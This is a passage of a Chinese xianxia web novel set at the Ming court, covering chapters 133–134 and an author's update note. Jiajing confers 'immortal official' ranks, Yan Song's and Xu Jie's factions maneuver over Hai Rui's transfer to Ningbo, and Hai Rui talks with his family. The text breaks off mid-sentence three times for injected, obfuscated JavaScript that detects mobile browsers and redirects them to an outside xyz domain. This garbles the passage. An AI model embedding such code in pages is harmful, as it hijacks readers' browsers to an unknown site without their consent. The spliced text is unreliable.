“刚峰如此年纪就能有这份忧虑,且能直言不讳,我亦是深感敬佩,我大明朝能有如此官员,是黎民苍生之幸。” 如此年纪?先用佛经切入话题,说皇帝高瞻远瞩,布局深远,又说海瑞年纪,意思不言而喻,说明海瑞不够高瞻远瞩,只盯着眼前。 直接将海瑞之前说的,只希望大明稳步发展给轻描淡写的抹去,改为目光短浅! “儒家言:君子务本,本立而道生。”事情还没有完,严嵩需要继续收尾。 因为,他还需要给皇上的一个台阶。 “皇上提前敕封仙官,正是立本之举。 人心浮动,仙官官身,是动力,是诱惑,是压力,更是责任。食君仙禄,享仙途,自当严于律己,勤勉政务,造福百姓。” 说着,严嵩又是轻轻一笑,道:“得了仙官官身,谁敢凡心思动?我是不敢。” 众人也纷纷点头,轻笑着称是。 说着,严嵩深吸一口气,道:“此举,亦暗合道家之道。” “道家言:顺应自然、无为而治。” “陛下提前敕封仙官,看似有为,实则无为。它遵循了事物发展,尊道法自然。以微小的干预,达到了最大的效果。” “因此,提前敕封仙官官身之举,实乃深思熟虑、高瞻远瞩的结果。” “是大大的“仁政”啊!” 一番话,以佛经切入,引出儒家立本观点,再以道家之言结尾。 严嵩不愧是严嵩,这番话从开始就没有驳斥海瑞,反而以包容的态度,谆谆教诲之姿态,对海瑞的观点予以包容。 但这一套儒、释、道三家,三位一 体之言镇压下来,就是在明着批评海瑞了。 一说他不懂君父。 你海瑞不是处处为君为父思虑吗?却不懂君父高瞻远瞩。 二说他拘泥于眼前,缺乏治国魄力。 三说他过于保守与短视。 你海瑞看似为了朝廷为了皇上,敢于一人对抗内阁,魄力十足,实则是傲慢又愚蠢。 “严阁老所言甚是!”随着严嵩话音落下,内阁众人齐齐开口。 一时间,内阁表现的前所未有的团结,直接凝成了一股绳。 避重就轻,直接将海瑞真正的观点,轻描淡写的抹去,改为批评。 海瑞要说的是什么,严党清楚,清流清楚,裕王跟景王此刻心里也清楚。但却被内阁上下这么一闹,反而显的海瑞目光短视,无能。 不得不说,这一番重点转移的很是润物无声。 面对严世蕃、高拱、张居正、赵贞吉的联手镇压,海瑞依旧将他们杀的毫无还手之力。 可是当徐阶跟严嵩默契配合开始,海瑞的路就被彻底堵死了。 徐阶直接带着内阁,配合你海瑞,发下宏愿!严嵩出面,化解气氛的同时,转移重心,连消带打,化解气氛,海瑞被安排的明明白白。 三个回合,海瑞胜了两场,最后一场直接遭到翻盘,满盘皆输。 看完这一场交锋后,嘉靖微微摇头,看着肃容不发一言的海瑞,不由轻笑,自语道: “这个海瑞,太顺了。” “从东南开始再到大同,这柄剑就锋利无双,适当的挫败有助于他的成长,否则未来恢宏仙朝,他如何下砍臣民,上斩内阁?” 戏看的差不多了,嘉靖知道自己该出手了。 “咚!”这时,天穹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高拱等人,也是暗爽,这个讨人厌的海瑞,终于走了,离开了京城,最好一辈子别回来。 哼哼,这就是恃宠而骄的后果! 人群中,严嵩在听到皇上对海瑞的安排后,眸子里闪过一抹精光,不着痕迹的回头瞥了眼徐阶,二人的目光对上,瞬间又错开。 “宁波府……”严嵩心头轻声呢喃,“莫非,皇上也在关注……” 一场闹剧结束,然后只听天穹之上,嘉靖的声音再次响起。 “徐阶……”随着声音响起,徐阶面前,装着当初他入阁敕书的盒子打开,敕书缓缓打开。 被呼唤名字,徐阶顿时压下皇上对海瑞的安排,浑身激动的抬头看向天穹金光之处。 其他人此时也纷纷压下心头思绪,注意力再次被敕封仙官官身一事所吸引。 “才德兼备。卿自入仕以来,清正廉洁,勤政爱民……今特敕卿入内阁,参预机务……以辅弼朕躬,共图国家之昌盛。钦此!” 下一刻,天穹之上那洋洋洒洒的金色敕书卷轴,被帝玺盖章。 而后,金色敕书化作流光没入徐阶识海。 嘉靖也看到了徐阶脑海中的本命,一株参天般通体发白如光的古树,气息浑厚稳重,树下是一片漆黑幽深,平静如镜面的水潭。 “嗡!”金色敕书出现,在那漆黑如墨的水 潭上,荡起一层层涟漪。 “树大根深,心思莫测如渊,”看着那缓缓落入树枝上的金色敕书,嘉靖微微摇头,“不愧是能与严嵩斗的人……” “相比于严嵩的贪婪如恶虎,大树根深入九幽,与徐阶的气质倒是符合!” 敕封完第二人后,嘉靖的声音再次响起。 “高拱……才略超群,勇于任事。卿于国家大计,常有独到之见……今特敕卿入内阁,以资臂助……辅佐朕躬……钦此!” 金色敕书没入眉心,识海中,高拱的本命则是一团炽热熊熊燃烧的火焰。 高拱,性格耿直,脾气火爆,本命为一团熊熊烈火,与他倒也贴合。 …… “张居正,子叔大……才略超群,勇于任事。……卿之胆识与魄力,为朕所重。今特敕卿入内阁,以资臂助……钦此!” 帝玺盖章后,金色敕书合上成卷轴,没入张居正识海之中。 “哗哗哗!” 一部名为“大明”的古书翻飞。当金色流光落下,敕书与“大明”这本古书合二为一。 张居正的本命,是一本古书! 这本书中,记载了他的治国理念! 张居正心中自有抱负,还有独特的治国理念,他就像是一本积累许久沉淀的宝典。 …… “赵贞吉……清廉自守,……今特敕卿入内阁,以资国用。望卿继续秉持忠诚,勤勉工作,为朕分忧,为民造福。钦此!” “臣,叩谢主隆恩!”在赵贞吉激动的注视下,敕书化作金色流光,没入识海。 赵贞吉的识海中一片池塘中,一尾灰色的大鱼游动,看起来滑不留手的。 金色敕书落下的瞬间,池塘化作金色。 灰色的大鱼眸眼“滴溜溜”的转着,而后对着虚空飞跃而起,连连摆尾。 “滑不留手,黑白之间,倒是与他性格符合。”摇摇头,嘉靖的目光收回,继续敕封。 …… “严世蕃,字德球,号东楼……才情出众。卿于政务处理中……今特敕卿入内阁,以资国家……钦此!” 终于,轮到我了! 听着天穹之上那如洪钟大吕的敕书之声,早就等的焦躁不已的小阁老,激动的浑身颤抖。 “唰!”流光没入识海。 “嘶!”一只浑身漆黑,头上生角,獠牙锋利,身高数丈的毒蛇吐信。 “这严家父子,合起来凑不出一个好人来。”看着严世蕃的本命是一条毒蛇,嘉靖微微摇头,蛇心不足且吞象,狂悖猖獗。 倒也符合严世蕃此人! …… “接下来……”内阁敕封完后,嘉靖的目光看向了裕王跟景王,心中一动开口道: “裕王,朱载坖!” 同样等的焦急的裕王心头一颤,当即大喜,赶紧匍匐在地上,大声道:“儿臣在!” 跟着,面前的木盒打开。 当初他的封王敕书也跟着缓缓升空。 “朕惟宗藩之制,所以固本安邦,绵延万世。裕王,乃朕之爱子,自幼聪慧过人,品行端正,深受朕之喜爱与器重。” “今特封裕王,赐之册宝,以昭显宗藩之尊荣,亦以慰朕心之所望。” “望秉持忠孝之心,恪守宗法,勤修德行,以仁厚之心待民,以智慧之才治国…钦此!” 洋洋洒洒数百金字横在天穹之上。 “咚!”帝玺落下,盖章。而后敕书化作金色卷轴,被金光裹挟着没入识海。 此时,嘉靖的注意力也跟着来到裕王的识海。 朱载坖,后世史书说,他会继承皇位,而且对这个儿子的评价也是说法众多。 其中还有什么“大明色魔”的戏称。 而且,出于皇帝天然对皇子的忌惮,嘉靖也想看看,这个原本的历史上会继承皇位的儿子,他的本命,会是什么。 “嗡!”黑色的识海中,陡然亮起一道光束。 一道人影于光影中浮现。 嗯?本命是个人?看到这一幕,嘉靖眼神中浮现出一抹惊讶之色。 裕王的本命,是众多本命中,最奇特的了。 “唰!”然而就在这时,金色敕书落下,金光照亮识海,那道人影也从金光中走出。 然而当看到金光的人影后,饶是嘉靖也不由的眼皮跳了跳。 只见金光中,一道人影缓缓走出,这竟是一个身姿绰约,浑身上下不着寸缕的女子。 此女有些奇怪,面容第一眼看去,似乎看不清,又似乎有数十种面相一般。再看身体,朦胧中,竟是高矮肥瘦,皆有本相。 不过如今本命被敕封,嘉靖一眼便看穿了裕王的本命,似乎是三十三种? 不过,都是女人! 嘉靖是怎么也没想到,裕王的本命,竟然是黑暗中,隐藏的“裸”女? 虽然史书上说他是登基后纵欲而亡,因此有好事之人,戏称他是“大明色魔”。 可如今这本命竟是个不穿衣服的女子,这让嘉靖这个当老子的,很是复杂。 有些觉得不争气,但想到修仙世界说的,本命千奇百怪,出个人倒也合理? “……” 第一百三十三章 严嵩:我终究败给了徐阶!裂痕与猜疑! 虽然很意外儿子裕王的本命竟然是个不穿衣服的女人,不过嘉靖倒也没有太过放心上。 视线从裕王的识海中离开,嘉靖又将目光放在另外一个儿子,景王的身上。 小院之中,众人发现,在敕封了裕王之后,皇上似乎又陷入了短暂的沉默。 一时间,不由的又是在心里各种猜测起来。 不过内阁众人此时已经“上岸”,自然不会太过担心别人如何。 因为太过在乎,所以才会容易紧张。 不过很快,没有让裕王跟景王多等,嘉靖的声音便跟着再次响起。 “景王,才德兼备,性情温良,深得朕心。景王自幼好学不倦,志向远大,于经史子集皆有涉猎,且能体恤民情,关爱百姓。今特封景王,授以册宝,以表朕之嘉许与厚望。 景王当知,王爵既为荣耀,亦为责任。望景王继续秉持谦逊之心,广开才路,勤政爱民,以德行感召四方,以智慧治理封地……钦此!” 又是洋洋洒洒数百字呈现。 随着那帝玺宝印落在敕书上,景王跟裕王心头不由狠狠松了一口气,还好没有意外。 嗯,裕王担心的是,没有因为自己而出意外。要不然他怕是又要担心自己在父皇心里的看法了。景王则担心的是没有因为裕王影响自己。 “唰!”识海中,金色的敕书带着金色的光华落入,照亮识海。 “呵,”当看到另一个儿子,景王的本命后,嘉靖严肃的面容上,再次露出笑容来,“这小子,果然是个会敛财的……” 只见识海中,一个脸盆大小,金灿灿,上面雕满了龙凤,麒麟、山川的聚宝盆。 没错,景王的本命是一个聚宝盆。 “总算是不如裕王那么荒唐……”自语一声,嘉靖又将目光看向了吕芳。 这位跟随自己多年的大伴。 对于吕芳的本命,嘉靖猜测或许不凡,这次倒是可以提前一观了。 “吕芳。”随着那如洪钟大吕的声音响起,跟着吕芳心中一动,一抬手,他司礼监掌印大监的敕书,也跟着从储物袋中飞出。 吕芳这神奇的操作,让其他人一怔,他们没有想到,吕芳竟然还有如此手段。 不过知道内情的的裕王跟景王却是有些嫉妒,羡慕的看向吕芳腰间的小布袋子。 之前几次,他们进宫的时候,就看到吕芳使用储物袋了。父皇对吕芳那是真的好啊,这种仙法法宝,竟然不给他们。 想到这个,二人心中多少都有些怨念。 “朕惟内侍之臣,辅弼朕躬,其责重大。吕芳,自入宫以来,勤勉谨慎……不负朕望。今特擢升吕芳为司礼监掌印太监……钦此!” 随着声音落下,帝玺宝印盖章。 金色的敕书化作一道流光没入吕芳的脑海之中。 识海中一尊青铜色小鼎,在金色敕书落下的同时,也跟着张开爆发出璀璨的金光。 看到吕芳的本命是一尊鼎,再联想到他的灵气属性火木双属性后,嘉靖顿时了然,“难怪是火木双属性,炉鼎做本命,倒也合理。” …… 吕芳这个贴身大伴敕封完后,嘉靖又开始对陆炳进行敕封。 “陆炳,朕惟朝廷之臣……今有陆炳,出身勋贵,然不恃家世……屡建奇功,威名远播……今特敕封陆炳为锦衣卫指挥使……钦此!” 金色敕书落入识海,显出陆炳的本命,竟是头白色的巨大犀牛。 一双眸子里,闪烁着淡淡的蓝光,看起来有着踏碎一切的桀骜与冷酷之色。 …… “王用汲,朕闻人才乃国家之根本,教化乃万世之基。今有王用汲,学识渊博……故特擢升王用汲为裕王府詹事……钦此!” 王用汲的本命是一支笔,看起来平平无奇,嘉靖并未给予太过关注。 之后,则是司礼监的陈洪、黄锦、石三,这三人的本命,分别是一枚骰子,一块磐石和一块玉石,本命都没有什么特殊之处。 最后,嘉靖的目光看向了小国师清风。 “不知道这丫头的本命是什么。”想着,嘉靖继续开口,道:“清风……” 小院中,听到最后一个念到自己的名字,清风也缓缓抬头,面前当初的敕书缓缓升起。 “朕闻道法自然,天人合一,乃国家长治久安之本。今有女冠清风,俗家姓名张卿悟,深得朕心……特敕封尊号:清风玄灵守真慧悟真人,并授以国师之职,以资尊崇……兹敕谕清风国师,并告谕天下,咸使闻知。钦此!” “咚!”帝玺宝印落下,金色卷轴收起,化作一道金色流光没入清风识海之中。 随着金色敕书落入脑海中的瞬间,清风只觉得头脑瞬间去清明,只觉得自身与天地,似乎有了某种共鸣一般,这种感觉很是神奇。 此时嘉靖的目光也看向了清风的识海。 “云?”看到清风的本命,竟然是一朵翻滚变换无形的纯白色云朵后,嘉靖一愣,而后微微一笑,“云无相,顺应自然,变化自如……” “果然是修道的,本命也是如此的贴合。”想到清风对世事的看法,嘉靖暗暗点头。 金色的敕书落入云 层,云朵陡然化作一片金色。 至此,所有人的本命,都已经敕封完毕。 “仙朝仙官官身皆已敕封完毕,”小院之上,嘉靖的声音响起,众人都是恭敬道谢,“臣等谢皇上恩赐,愿吾主圣寿无疆……” 这一刻,所有人的心情都是激荡无比的。 之前因为海瑞闹出的插曲,似乎也被众人遗忘。 他们终于被皇上承认了。 虽然不知道这敕封仙官官身有什么用,但他们相信,这背后定有深意。 至少,在被敕封了仙官官身后,他们跟天地之间,那种冥冥之中的感应不是假的。 “仙官官身敕封,妙处多多,”这时,嘉靖的声音再次响起,“当尔等真正修仙之后,便可明白朕今日之深意。” “朕打算现在就赐予尔等仙法……”听到这里,众人心中顿时一紧,难道今日不光要敕封仙官官身,还要赐下仙法? 这一刻,不论是严嵩又或者徐阶,都是心头猛跳,惊喜还有? 不过跟着,嘉靖的声音响起,众人的心又沉了下去。 “不过,海瑞所言也不无道理,”嘉靖说着,语气始终平缓,“如今我大明,资源有限,灵田仅供寥寥几人使用……” “若是需要的人太多,对资源来说,也不过是一种浪费,仙法动人心,尔等难免会在政务与仙途之间,自顾不暇,便暂且押后。” “等大明盛世来临,仙朝正式确立后,再赐仙法,吕芳……” “奴婢在。”对于嘉靖的安排,吕芳心里没有什么想法。 “今日起,灵田小院的灵物资源,可以向内阁和司礼监按照官职品级酌情发放。” “是!”吕芳恭敬道。 仙法,本该今日就发的仙法,就这么没了!严世蕃等人的心都在隐隐作痛。 一时间,众人对海瑞也越发的痛恨了起来。 在他们看来,皇上肯定是被海瑞之前那番话给影响了,否则不会不赐下仙法。 不过严嵩跟徐阶到底是稳重的多。 心中虽然对海瑞也有一番埋怨,但也知道皇上的想法,可不是海瑞所能左右的。 以他们对皇上的了解,这事怕是原本就没打算这么早给他们仙法。 海瑞不过是皇上拿出来的一个借口。 “好了,封仙已经结束,都散了吧……”该做的都做完了,嘉靖说完便挥手收回帝玺。 下一刻,小院众人只觉得天穹之上,金云翻滚,而后天地变换,跟着浑身一颤,猛的回过神,这才发现天穹瞬间恢复湛蓝色。 原本的天地异象也跟着在这一刻消散。 众人不知道的事,帝玺收回的瞬间,原本他们的意识被拉入本命大明的同时,也被遣返回了本体,当然这一切嘉靖自然也不会热心的解释。 嗯,他是皇帝,他如何行事,难道还要给这些臣子解释吗?不需要。 小院里,海瑞的身影已经消失不见,他已经离开了玉熙宫,返回了家中准备前往宁波府。 “诸位,”这时吕芳缓缓起身,然后看着众人道:“接下来,咱家要根据你们的官职品级,还要根据现有灵物资源安排仙禄。” “可能要等几日,希望诸位耐性等待。” 听到吕芳这么说,严嵩率先笑着拱手,道:“如此,就有劳吕公公了。” 其他人也都笑着向吕芳拱手。 毕竟现在吕芳才是掌管他们仙禄的人,自是不能得罪的。 一番客套寒暄之后,众人这才转身告辞,离开了玉熙宫后的小院。 不过裕王跟景王二人却留了下来。 毕竟他们每日都要在灵田小院中修炼。 一群人浩浩荡荡的出了西苑,王用汲在跟徐阶等人告辞后,便急匆匆的坐着轿子朝着海瑞家中而去,今天发生了太多事了。 他必须要跟这个好友好好合计一番才是。 仙官官身虽然敕封完毕了,但对于严嵩,还有徐阶来说,事情还远远没有完。 徐阶听着高拱等人,低声热切议论着跟仙官官身有关的一切,却是不由的回头朝着,被严世蕃扶着的严嵩看了一眼,然后收回目光。 后方,严世蕃扶着严嵩,也是兴奋不已。 “爹,有了皇上敕封的官身,这就等同于是确定了,日后仙朝发展,皇上不会忘了我们!”严世蕃兴奋不已。 “等了这么久,终于等到了!”说着,严世蕃突然又像是想到了什么,脸色又难看了下来,低声咒骂道:“都怪那个该死的海瑞!” “若不是他闹这一出,索性仙官官身敕封了,我等踏上仙途也是板上钉钉的了。皇上顺势赐下仙法,也是很有可能的……” 听着儿子喋喋不休,对海瑞的咒骂,严嵩始终佝偻着背,不发一言。 “爹,怎么了?”见老爹不发一言的模样,咒骂完的严世蕃这才发现老爹的异状。 “我在想,皇上对海瑞的安排,”严嵩语气温吞,“景王殿下支持日本的织田信长,未来很多军需物资,必然有一条暗线部署……” “而安排海瑞去宁波府,怕也是为了部署对日本的安排,海瑞这把天子剑……”说着,严嵩眉头深深锁住 ,“吏治清理之后谭纶在哪?” “谭纶?”听到老爹这么说,严世蕃一愣,而后道:“爹,这您最清楚啊。” 说着,严世蕃顿了顿,又道:“如今,当初定下的改稻为桑的国策已经开始产生收益,如今杭州织造局那边也都是裕王的人。” “前不久,赵贞吉提议,要将谭纶调往福建,被您以改稻为桑尚不足,还需稳定拒绝。” “毕竟,谭纶也曾在台州一带抗倭,还出任过台州知府,而我们有打算吃掉台州府到福建一带,作为日后收取资源的暗线部署。” “所以,我们自然不能允许清流把手,插到福建来。” “所以谭纶现在依旧在杭州府坐镇,主持改稻为桑的国策……” “杭州府……”严嵩说着,眸子中有思索之色,大脑也跟着高速运转了起来。 “是了!”突然,严嵩眼底精光爆闪。 “是什么了?”严世蕃还没有反应过来,看着老爹这幅模样,不由好奇。 “清流一方,对日本,日后收取资源的暗线部署……”严嵩抬眼看向前方,走在人群中的徐阶,“好个徐阶,没想到竟如此大胆。” “家族才刚被清理过,如今竟依旧将未来部署在了松江府一带……” “难道裕王不是打算吃掉福建一带?”听到老爹的话,严世蕃不解。 按道理说,徐阶家族在松江府,是最好的日后收取资源的暗线部署。 但经过吏治大清洗,徐阶家族断尾求生,直接将松江一带所有士绅大族出卖。 他们部署的利益网全部消失。 而那一带的官场,如今又大部分是严党提拔的人,徐阶家族在官场上早就臭了。 所以,前段时间裕王在福建一带,提拔大量的官员,显然就是要部署福建一带沿海,从福建入湖广地区,原本湖广地区是他们严家掌控的。 但是整顿吏治后,湖广地区大洗牌,现在基本上都被裕王一脉所掌控。 如此看来,裕王会安排对日本日后,收取资源的暗线部署,放在福建是很合理的。 所以,当初清流提议让谭纶出任福州府,老爹才会直接拒绝,就是因为看穿裕王一脉,要从福建入湖广,之后更是果断的在台州安插人手。 严世蕃还在想着,严嵩的声音再次响起。 “若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669349|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没有皇上突然安排海瑞去宁波府出任知府,恐怕我都要被他们骗了……” “前段时间,谭纶被否决出任福州府后,裕王殿下,是否在福建提拔了不少官员?”严嵩放缓声音,像是在询问,又像是在肯定。 “没错,当初只当是裕王恼羞成怒……”严世蕃眉头一皱,而后恍然道: “爹,您的意思是,清流对日本未来的部署安排,重点根本不是从福建入湖广,而是松江府一带?徐阶这么大胆吗?” “吏治大整顿后,那一带如今可被我们的人接受了……” “这就是他的聪明之处。”严嵩沉声道:“福建只是他们的幌子!他们的重点,依旧是杭州府和松江府这一带。” “徐阶家族在松江府,”严嵩说着,大脑同时也跟着高速运转,“从日本往来利益部署,从舟山驶入杭州湾,入内陆……” “松江府与杭州府南北相定,如此一来整个东南北部,全都归裕王一脉控制。” “至于我们安排提拔的官员,你觉得他们既然部署了,那些人能拦得住吗?” “而我们的部署,已经选择在了台州府,可中间却隔着一个宁波府!” “想要对杭州府和松江府一带干预,也无法做到,裕王他们必然是早在宁波府有了部署!”说着,严嵩眼底有冷光浮现。 他没想到,这一次他被徐阶给算计了。 “当初没有选择宁波府,一来目标太大,那里是当初东南对抗沿海倭寇的战略之地……” “如今沿海的倭寇,随着国力上涨,财政暴涨,尽数扫除,基本上没有了战略意义……” “二来,我们错判了裕王一脉要在福建部署,所以选择了台州,为的就是掐断裕王他们的路,却没想到被虚晃一枪!” “三来,台州府地处沿海,港口条件丰富,却也繁杂,我们提拔上来的人,也都尽数在这一带。若是裕王他们以宁波府为出发点,对我们动手,我们将疲于应付……” “如此一来,东南北方一带,对于裕王一脉来说,将彻底无虞!” “嘶!”听到老爹这一番话后,严世蕃不由暗吸了一口气,而后脸色阴沉的看向前方清流一群人,怒声道:“这帮阴险小人!” 突然,严世蕃又像是想到了什么,松了一口气,道:“可是现在,宁波府海瑞坐镇,那裕王他们的部署,全都没有了意义!” “不对,”严世蕃说着,脸色又阴沉了下来,“海瑞这个杠头,坐镇宁波府必然会上查清流,下查我们的!” “也就说皇上看破了我们双方的意图!” 严世蕃虽然狂悖嚣张,可经过严嵩这一番分析后,自然明白了过来。 “呼,”严嵩轻吐出一口气浊气,抬眼看向湛蓝的天穹,脑海中不由浮现出刚才的一幕,“这,就是皇上的意图! ” “他不会让我们的部署付诸东流,从而让裕王一方独大的,这次我们怕是要感谢海瑞了……”严嵩说着,轻轻叹息。 “老了,老了,这一仗我败给了徐阶!” “我们部署在台州,自以为掐断清流从福建入湖广的打算,实则被摆了一道。” “要是没有皇上突然让海瑞坐镇宁波府,一旦对日本的安排,取得成果,将岛国发展成灵田培育之地,暗线开始运输物资,那时候部署在宁波府的裕王一系一旦动手,就是毁灭性的!” “帝王之道,在于平衡,感谢皇上……” 听完老爹这一番分析后,严世蕃的后背也是惊出冷汗,不由的满含感激的看向天穹。 与此同时,清流一方。 张居正等人,看着低头沉思的徐阶,也暂时压下了心中被敕封仙官官身的喜悦上前。 “徐阁老,可是出什么事了?”张居正问道。 见众人都看向自己,徐阶嘴唇蠕动,而后道:“我们的部署,被皇上看穿了。” 部署?被皇上看穿?张居正先是一愣,而后像是想到了什么,皱眉道: “阁老是说,海瑞被派去宁波府出任知府?” “正是,”徐阶点了点头,“皇上,终究是……”他想说偏袒严嵩的,但想到刚才皇上展示的手段,还有现在的仙官官身。 都让他不敢妄言! “宁波府知府,我已经有了人选,只等此间事了,就找机会把人提上去。” “只等日后仙朝确立,日本那边地被发展成灵田后,严党运输物资时再行给予致命一击。却没想到,皇上会让海瑞去宁波府。” 说着,张居正摇头叹息,道:“其实刚才我就有了一些不妙之感,可惜……” “海瑞去宁波府,这是皇上在帮严党。为的,就是不愿意让裕王殿下一家做大。”高拱也跟着开口了。 “我觉得,当下还有一件更重要的事情要做,”这时,赵贞吉缓缓开口,看着众人道:“海瑞今日的谏言,怕是给殿下心里埋下了一颗种子,此间误会还是要尽早消弭的好。” 听到赵贞吉这么一说,众人顿时恍然,是啊,海瑞今日所言,可以说把不论他们还是严嵩父子,内心最深处的想法说出来了。 现在他们有了仙官官身,皇上甚至言明,等大明稳定,盛世来临后,就会赐下仙法,基本上是板上钉钉的会踏上修仙之路了。 他们已经不需要将二王看做是唯一指望了。 万一日后储君迟迟不册封,皇上再有了其他子嗣,那他们这些人,又该如何抉择? 别说裕王此刻猜疑重重了。 就算是他们自己,此时也不知道该怎么说服裕王,让裕王相信。 “我们与殿下之间,终究是出现裂痕了……”赵贞吉看的分明,轻声叹息道。 “裂痕一旦出现,就意味着越来越多的猜疑,直到矛盾彻底爆发!” “那该如何是好?”高拱也是愁眉不展。 “唉!”一时间,不论是严党,还是清流,想到与二王之间,此刻存在的猜疑,都不由的在心底发出一声无奈的叹息。 海瑞那番话,可以说毫不留情的,撕开了他们始终避而不谈的一个问题。 那就是日后仙朝确立,皇上有了其他子嗣,他们会不会继续支持二王。 人人都在心里问自己,答案却不敢宣之于口。 他们自己都没有信心说服自己! 又如何让二王相信他们? “……” 今天先更一章,完善一下大纲 接下来修仙界剧情,还有大明的剧情,需要做一个规划,今天先更6K,剩下的4K明天补上,顺便调整一下更新时间。 嗯,要是能调整的过来的话……总说要调整剧情,但每章体量太大,一天更一万多,总是不能稳定(笑哭~~~) 至于群解散,嗯,不是因为有人说水,也不是什么破防,对于一个萌新小作者来说的话,现在的成绩还是很好的。 所以肯定会写完,并且完本,保证! 解散群是因为有人说我信息泄露,并且已经开始在我书评 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669350|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区发帖,不想被扩大麻烦。 群可能不会再建了,抱歉哈~~~ 《大明:万寿帝君修仙了!》今天先更一章,完善一下大纲 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百三十四章 宗门日常,掌门奇遇,练气七层,朕的孙子万历帝来了! 海府。 海瑞头上的乌纱帽被他抱在臂弯处,官袍也没有换,只身来到大堂。 一进来大堂,就看到了坐在堂下,脸上挂着笑,手里做着针线活的妻子王氏。 从定海县到大同,海瑞的官职一升再升,家里的条件自然也是越来越好。 此前,王氏也曾为海瑞诞下过一双女儿,可惜都天不遂人愿,早早夭折。 来到京城,随着海瑞受到器重,王氏的身体越来越好,又是祛除病灶的丹药,又是灵物资源的滋补,身体自然也是越来越好。 也因此,王氏还为海瑞诞下了一子一女,虽然都不满两岁,但在精心照料之下却也健康。 (注:海瑞有三个妻子,王氏是第三任,剧情创作需要,本书就默认一个了。) “回来了,”看到海瑞,王氏脸上立刻露出笑容,抖了抖怀里的衣袍起身,迎上前来,“不久就要立秋了,给你做件袍子……” 说着,王氏还拿着已经要做完成的袍子在海瑞身前比了比,似乎要看是否合身。 “过几日,我……”海瑞张了张口,神情间闪过一抹愧疚之色。 海瑞看着妻子脸上的笑容,似觉得有些对不住妻子,好不容易来到京城,日子稳定了,却又要让家人跟着奔波,让他有些吞吐起来。 “过几日你怎么了?”王氏将衣袍抱在怀里,在正在做工处打了个结,低头用牙齿咬断线绳,同时抬头看着海瑞。 “过几日要去宁波府任职。”海瑞终究还是说了出来。 “宁波府?”王氏一愣,而后恍然一笑,“我知道,之前的定海县就在宁波府。” “这次去多久?我去准备着,”王氏说着,接过海瑞臂弯处的乌纱帽,转身的同时,道:“上次你去大同,母亲很是挂念。” “这次我们一起去。”正说着,还要给海瑞沏茶的王氏,动作顿时被海瑞的声音打断。 “还有母亲。”海瑞蠕动了一下嘴唇说着,说完看着顿住的妻子,想要说些歉意的话,最终还是没有说出来,只是沉默着。 “刚从宫里回来,累着了吧,先歇着,我去跟母亲说,顺便准备准备,”王氏脸上很快露出笑容,转身道:“对了,什么时候启辰?” “应该就在这几日。”海瑞缓声说道。 “老爷,老爷,裕王府詹事,王老爷来了。”这时,仆人的声音,打破了大堂里的气氛,王氏也没说什么,快步离去。 不一会,就见身着绯色官袍的王用汲步履匆匆的来到了大堂,看到了海瑞。 “刚峰兄,你……”看着海瑞,王用汲到嘴边的“糊涂”二字,被生生咽了下去,只能上前一步,化作一声沉重的叹息。 “我就知道你会来。”看到好友,海瑞脸上这才浮现出一抹笑来。 “亏你还能笑得出来!”王用汲气急败坏的坐在了椅子上。 “我为何笑不出来?为人臣子,尽职本分,明受,你应该为我感到高兴才是!”海瑞摊开手,神情间很是坦然洒脱。 “你是尽职本分了,可你明不明白,你今日一番谏言,意味着什么吗?”王用汲又站起身,手背连连拍打着手心。 “你这是要断送所有人的……未来!”说到“仙途”两个字的时候,王用汲直接消声。 “一旦皇上被你的谏言所影响,你得罪的就是整个内阁,所有人!” “二位王爷倒也不说了,司礼监和内阁若是联手对你出手,你能挡得住吗?” “你就算不为了自己考虑,家中老母,妻儿呢?”王用汲越说越急,“现在好了,被贬去宁波府当知府,整整降了四级!” 王用汲说着,竖起四根手指头。 “你我都清楚大明国力日渐强盛,明年就是土地改制变法的时候,三年内国力会再上一个台阶,那时盛世来临……” “东南沿海的倭寇已经不再是威胁了,放在以前,官场贪污,黑暗,你在宁波府或许还能建功立业,重回京城,可是现在呢?” “那就是一片安稳的养老之地了!” “一旦日后盛世来临,仙朝确立,人人仙官官身加持,你还能撑到那时候吗?” “我大明人才济济,皇上欣赏你,你就真不怕未来再出一个取代你之人?” 听着王用汲这番话,再看着好友这一副为自己着急上火的模样,海瑞心头暖洋洋的。 “我明白,但我不后悔。”海瑞神色认真。 “国之将兴,必有忠言;家之将兴,必有孝子。今日连累母亲,是我不孝……”说着,海瑞深吸一口气,“却愿做此世之忠言者。” 听到这一番话,王用汲浑身一震,张了张嘴,顿时闭嘴。 他早就知道会是如此! 若非如此,他还是海瑞吗? 仙官官身对旁人或许很重要,对海瑞或许也很重要,可显然仙官官身对他来说要排在国后。 三日后,吏部尚书海瑞,被调往宁波府担任知府,朝廷上下一片哗然。 不过很快,不论是为严党又或者清流站队的官员,又或者是中立派,全都暗道了一声好。 